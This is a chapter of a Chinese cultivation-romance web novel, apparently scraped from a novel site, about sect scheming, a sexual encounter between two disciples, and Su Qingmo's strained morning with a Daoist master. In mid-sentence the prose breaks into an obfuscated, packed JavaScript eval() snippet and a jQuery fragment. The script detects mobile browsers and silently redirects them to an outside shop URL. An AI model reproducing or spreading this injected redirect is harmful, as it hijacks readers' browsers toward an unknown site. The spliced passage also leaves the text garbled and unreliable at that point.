夜上柳梢头,合欢宗偏院。
师姐叶凌素独在房中,指尖捏着一道灵符。那灵符在她手中微微发烫,上面流转的符文晦暗不明,是宗门内部传信符号。
她垂眸看着传信内容,面色几度变幻,最终化作一抹不甘。
灵符上只有简短几字:“法器之事,暂缓。勿急。”
叶凌素指尖收紧,她为那法器筹谋许久,眼看就要到手,竟在这时让她暂缓?
恰在此时,门外传来熟悉的脚步声。
叶凌素迅速收敛神色,将灵符收入袖中暗袋,脸上已换上惯有的柔媚笑意。
“师姐。”短短两个字被幸奕辰唤得旖旎,多了几分不正经。他推门而入,反手合上门,动作行云流水。
他今日心情不错,眉眼间带着几分慵懒的餍足。苏家之事处理得比预想顺利,此次他非但得了苏轻沫名下半数苏家产业,还顺利取得苏家镇家之宝。
叶凌素起身迎上,娇笑道:“师弟。”说着温软蹭上他的前胸,被他揽入怀中。
“师姐,嗯?想我了?”幸奕辰暧昧地轻笑着,温热的唇落下,带着几分急切。二人相拥着亲吻着走向软榻,衣衫渐落一地。
“师弟这次去了好些天,”叶凌素喘息着,指尖在他胸膛画着圈,声音娇软,“我还以为,你把师姐给忘了。”
“怎么会?”幸奕辰低笑,翻身将她压在身下,手指熟练地解开她的衣带,“师姐这般妙人,忘了谁也不能忘了你。”
“数你嘴贫。”师姐看似轻推了他一下,却勾住他,二人更紧密了些。
帷幔轻摇,喘息渐重。
情到浓时,叶凌素却忽然偏头避开他的吻,眼波流转间带着试探:“对了,苏家那家传法器……师弟可都拿到了?”
幸奕辰动作微顿,眼底闪过一丝不易察觉的锐利,随即化作更深的笑意:“自然。苏家那群人,早被我拿捏得死死的。”
“此等法器,我曾听闻,却不知究竟是何面目?”叶凌素抬手抚上他的脸,语气中带着恰到好处的好奇与仰慕,“据说其中一件,是百年前仙魔大战时遗落的仙器碎片?”
幸奕辰亲了她一口,笑意不达眼底:“师姐倒是消息灵通。不过此物确是苏家镇家之宝,半年前苏老头病重都不肯说,后来我才从……”
苏轻沫三个字,话到嘴边,他却神色一暗,怎么也说不出口,转而道,“才从他人口中套出下落。”
他故意顿了顿,看着叶凌素眼中一闪而过的急切,心中冷笑,面上却愈发温柔:“原来那老东西,将法器藏在了……”
话到关键处,他却忽然停住,转而狠狠吻住她的唇,翻身将她重新压在身下。
“师姐,”他在她耳边低语,热气拂过她的耳廓,“这种时候,还是专心些。想那些死物做什么?”
叶凌素在他看不见的角度,眸色骤然转冷,染上狠厉。
可她来不及再多想,幸奕辰已再次动作,带着不容抗拒的力道,将她拖入新一轮的浪潮之中。
次日,幸清和与幸宿怀召集几人在戒律堂议事。
幸清和坐在主位,身侧是幸宿怀。堂下站着幸奕辰与几位内门弟子。
“父亲,长老,”幸奕辰躬身行礼,姿态恭谨,“三日后凌虚宗清谈会,弟子以为,可让叶师姐随行。”
幸宿怀皱眉:“凌素?她去做什么?”
“回父亲,”幸奕辰从容道,“此次清谈会,各派皆会派遣精锐。凌虚宗亦有数位出色女修,若我方仅有男弟子前往,恐不便深入交流。叶师姐修为已至金丹中期,处事周全,有她同去,或可更便于与对方女修沟通,探听些……不便男子打听的消息。”
幸清和若有所思地看着幸奕辰,未置可否,只看着幸宿怀:“依戒律长老之意,可妥?”
幸宿怀仍不赞同:“凌素虽是你师姐,但终究修为不够,此去路途遥远,若遇险情,恐成拖累。”
“父亲多虑了,”幸奕辰笑道,“此行外事长老与数位师兄弟同行,定安全无虞。况且,师姐功夫虽算不上上乘,可胜在处事灵活,父亲,多一人,也多一份力。”
他顿了顿,又补充道:“况且,叶师姐对合欢宗功法理解颇深,若能在清谈会上与各派交流心得,于宗门声誉亦有益处。”
幸清和与幸宿怀对视一眼。
片刻,幸清和缓缓点头:“也罢。便让凌素随行。奕辰,既是你的提议,你还需多看顾着她些。”
“弟子领命。”幸奕辰应下。暗自松了一口气。
昨夜同师姐缠绵时,正是情浓,她偏要在这时为这事拿捏他,虽是情趣,终究不合时宜。
这点倒不如苏轻沫温顺……念头一起,他眸色不由地黯了黯,又迅速敛去。
“云止,景行,你二人也去准备。三日后出发前往凌虚宗。”幸清和看向二人。
“是,长老。”幸云止与幸景行齐声应下。
众人正要散去,堂外忽然传来急促脚步声。一名弟子匆匆入内,面色凝重:“长老!岳城急报!”
“何事?”幸宿怀神色肃然。
“岳城三日内,已有七名散修遭摄魂之术,识海尽毁,沦为行尸走肉!”那弟子声音发颤,“而且现场残留的灵力波动……经查验,与我合欢宗功法气息相近。”
堂内短暂死寂,几人各有所思。
幸宿怀先一步开口:“此事纯属栽赃,断不可能。我宗弟子近日皆在宗门内修行,无人前往岳城。”
幸奕辰眸光微闪,上前一步:“父亲,长老,此事蹊跷。玄机阁惨案尚未查明,如今岳城又生变故,且皆与我宗牵扯。只怕是有人蓄意嫁祸,欲坏我宗声誉。”
幸清和面色沉凝,沉思片刻,决断道:“离清谈会召开还有些时日。奕辰,你带几人即刻改道岳城,查明真相。若真是有人冒充我宗行凶……”
他眼中寒光一闪:“绝不姑息。”
“是!”幸奕辰领命,转身时,唇角勾起一丝几不可察的弧度,岳城,倒是巧了。
合欢阵内,没了阵灵强加干涉,显得和平宁静,同阵外的冷肃全然不同。
苏轻沫天未亮便早早醒了。
昨夜虽得幸司衍灵力安抚,后半夜睡得安稳些,但那些梦魇的仍在她心头萦绕不散。
她躺在榻上,看着窗外渐亮的天光,忽然想起昨夜隐约察觉到他立在床侧。
那般孤寂,那般……遥不可及。
她轻轻叹了口气,起身穿衣。身上那些伤痕经过一夜,已好了许多,只余淡淡红痕。
她将幸司衍母亲那件宽大的外衫
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17572169|203604||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
仔细叠好,放在枕边,换回自己那身缝补过的青色衣裙。
针脚歪歪扭扭,下摆因布料不够,接了一截不同色的布,短了一小截,露出纤细的脚踝。但至少干净整洁。
她推开房门,晨雾未散,院中静谧。
厨房里有一些她从坛子里找出来的陈年旧米,因封存完好,尚可食用。还有昨日剩下的几株野菜,又在在树间找到几枚鸟蛋,几根野生山药。
她生火,将野菜细细切碎,鸟蛋打散,做了一锅简单的菜粥,又用山药泥和鸟蛋做了薄饼。
粥香渐渐弥漫开来。
苏轻沫小心翼翼地将粥盛出,薄饼装盘,放在托盘上。她看着这简单的早餐,心里莫名有些紧张。
经过昨夜……她理所当然觉得二人关系当是熟络了些,虽还撑不上朋友。
她端着托盘走到主屋门前,深吸一口气,轻轻叩门:“道尊,我做了些早膳,您要用些吗?”
屋内寂静片刻,门从内打开。
幸司衍立在门内。他依旧着那身干净的苍青道袍,纤尘不染,墨发用一根简单的木簪束起,面容清俊如谪仙,只是那双眼……
苏轻沫的心微微一沉。
那双眼依旧如寒潭深水,平静无波,看着她时,甚至比昨日更添了几分刻意的疏离。仿佛昨夜那个为她疗伤,与她共食,坐在黑暗中与她敞开心扉的人,不是他,而不过是她的幻觉。
“道尊?”她声音不自觉地放轻了些,带着一丝期盼。可期盼什么,她亦不知道。
毕竟,他在她的印象里,在芸芸众生的口中,不是一直皆是如此嘛。
幸司衍的目光从她脸上扫过,掠过她手中托盘,淡淡道:“不必费心。”
苏轻沫端着托盘的手指微微一紧。
她垂下眼,看着碗中冒着热气的粥,声音低了下去:“抱歉,是我疏忽,打扰道尊了。”
她转身要走,脚步有些仓促。
幸司衍看着她的背影,和那缝补得歪歪扭扭的衣裙,短了一截的下摆,露出的一截白皙脚踝……还有她转身时,眼中一闪而过的失落。
他唇微动,似要说什么,却终究没有开口。
苏轻沫回到厨房,看着托盘上的粥和饼,忽然没了胃口。她默默坐下,一个人慢慢喝完了粥。粥还有些烫,烫得她眼眶发热。
她用力眨了眨眼,将那股酸涩逼回去。
罢了,他本就是云端之上的人物,能救她性命,护她周全,已是仁至义尽。她怎能奢望更多?
她总能把自己开解得很好。
为免自己胡思乱想,用过简单的早膳后,苏轻沫便寻了些事来做。
她将屋内屋外彻底洒扫了一遍,锅碗瓢盆一一洗净归置。又去院中,将那些丛生的杂草仔细拔去。
她在小院里来回走动,洒扫擦拭,身影忙碌,目光却总不经意地掠过院门,掠过那间静悄悄的厢房。却始终不见幸司衍的身影。
他去了何处?是去探查阵法出路,还是……单纯想避开她?
这个念头一起,心口便有些发闷。她甩甩头,强迫自己不去深想。
只是,阵灵降下的指令一道比一道更逾矩,从触碰,到亲吻……下一次,又会是什么?
莫非真要入吗?真要到那一步不可吗?